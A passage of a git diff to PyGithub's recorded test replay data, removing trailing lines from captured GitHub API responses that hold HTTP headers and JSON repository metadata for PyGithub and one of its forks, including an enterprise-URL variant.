v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"}} - diff --git a/tests/ReplayData/Persistence.testLoadAndUpdate.txt b/tests/ReplayData/Persistence.testLoadAndUpdate.txt index 3b694113e4..013b538431 100644 --- a/tests/ReplayData/Persistence.testLoadAndUpdate.txt +++ b/tests/ReplayData/Persistence.testLoadAndUpdate.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13712'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:14:54 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"ef281ef0e821c18f80da36902727160b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:15:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')] {"id":12156762,"name":"PyGithub","full_name":"akfish/PyGithub","owner":{"login":"akfish","id":922715,"avatar_url":"https://0.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"private":false,"html_url":"https://github.com/akfish/PyGithub","description":"Python library implementing the full Github API v3 - AKFish Fork","fork":true,"url":"https://api.github.com/repos/akfish/PyGithub","forks_url":"https://api.github.com/repos/akfish/PyGithub/forks","keys_url":"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akfish/PyGithub/teams","hooks_url":"https://api.github.com/repos/akfish/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/akfish/PyGithub/events","assignees_url":"https://api.github.com/repos/akfish/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/akfish/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/akfish/PyGithub/tags","blobs_url":"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/akfish/PyGithub/languages","stargazers_url":"https://api.github.com/repos/akfish/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/akfish/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/akfish/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/akfish/PyGithub/subscription","commits_url":"https://api.github.com/repos/akfish/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/akfish/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/akfish/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akfish/PyGithub/merges","archive_url":"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akfish/PyGithub/downloads","issues_url":"https://api.github.com/repos/akfish/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/akfish/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/akfish/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akfish/PyGithub/labels{/name}","created_at":"2013-08-16T10:56:11Z","updated_at":"2013-08-22T02:14:54Z","pushed_at":"2013-08-22T02:09:09Z","git_url":"git://github.com/akfish/PyGithub.git","ssh_url":"git@github.com:akfish/PyGithub.git","clone_url":"https://github.com/akfish/PyGithub.git","svn_url":"https://github.com/akfish/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":6736,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":70,"parent":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"}} - diff --git a/tests/ReplayData/PoolSize.testReturnsRepoAfterSettingPoolSize.txt b/tests/ReplayData/PoolSize.testReturnsRepoAfterSettingPoolSize.txt index 934eb9e522..8bd753761f 100644 --- a/tests/ReplayData/PoolSize.testReturnsRepoAfterSettingPoolSize.txt +++ b/tests/ReplayData/PoolSize.testReturnsRepoAfterSettingPoolSize.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Fri, 08 Jan 2021 10:42:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"e132b35ca5ec517feb3106720dceb9394b5bf1f333ef886f8c407d3f2d5de3b2"'), ('Last-Modified', 'Fri, 08 Jan 2021 09:41:41 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '32'), ('X-RateLimit-Reset', '1610104719'), ('X-RateLimit-Used', '28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9588:CCCC:9EFCE:B6C13:5FF83725')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2021-01-08T09:41:41Z","pushed_at":"2021-01-07T18:49:51Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13251,"stargazers_count":4000,"watchers_count":4000,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1245,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":82,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1245,"open_issues":82,"watchers":4000,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1245,"subscribers_count":105} - diff --git a/tests/ReplayData/PoolSize.testReturnsRepoAfterSettingPoolSizeHttp.txt b/tests/ReplayData/PoolSize.testReturnsRepoAfterSettingPoolSizeHttp.txt index 4e5cc4d387..4648a15d0d 100644 --- a/tests/ReplayData/PoolSize.testReturnsRepoAfterSettingPoolSizeHttp.txt +++ b/tests/ReplayData/PoolSize.testReturnsRepoAfterSettingPoolSizeHttp.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Fri, 08 Jan 2021 10:42:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"e132b35ca5ec517feb3106720dceb9394b5bf1f333ef886f8c407d3f2d5de3b2"'), ('Last-Modified', 'Fri, 08 Jan 2021 09:41:41 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '32'), ('X-RateLimit-Reset', '1610104719'), ('X-RateLimit-Used', '28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9588:CCCC:9EFCE:B6C13:5FF83725')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"http://my.enterprise.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"http://my.enterprise.com/users/PyGithub/followers","following_url":"http://my.enterprise.com/users/PyGithub/following{/other_user}","gists_url":"http://my.enterprise.com/users/PyGithub/gists{/gist_id}","starred_url":"http://my.enterprise.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"http://my.enterprise.com/users/PyGithub/subscriptions","organizations_url":"http://my.enterprise.com/users/PyGithub/orgs","repos_url":"http://my.enterprise.com/users/PyGithub/repos","events_url":"http://my.enterprise.com/users/PyGithub/events{/privacy}","received_events_url":"http://my.enterprise.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"http://my.enterprise.com/repos/PyGithub/PyGithub","forks_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/forks","keys_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/teams","hooks_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/events","assignees_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/tags","blobs_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/languages","stargazers_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/subscription","commits_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/merges","archive_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/downloads","issues_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"http://my.enterprise.com/repos/PyGithub/PyGithu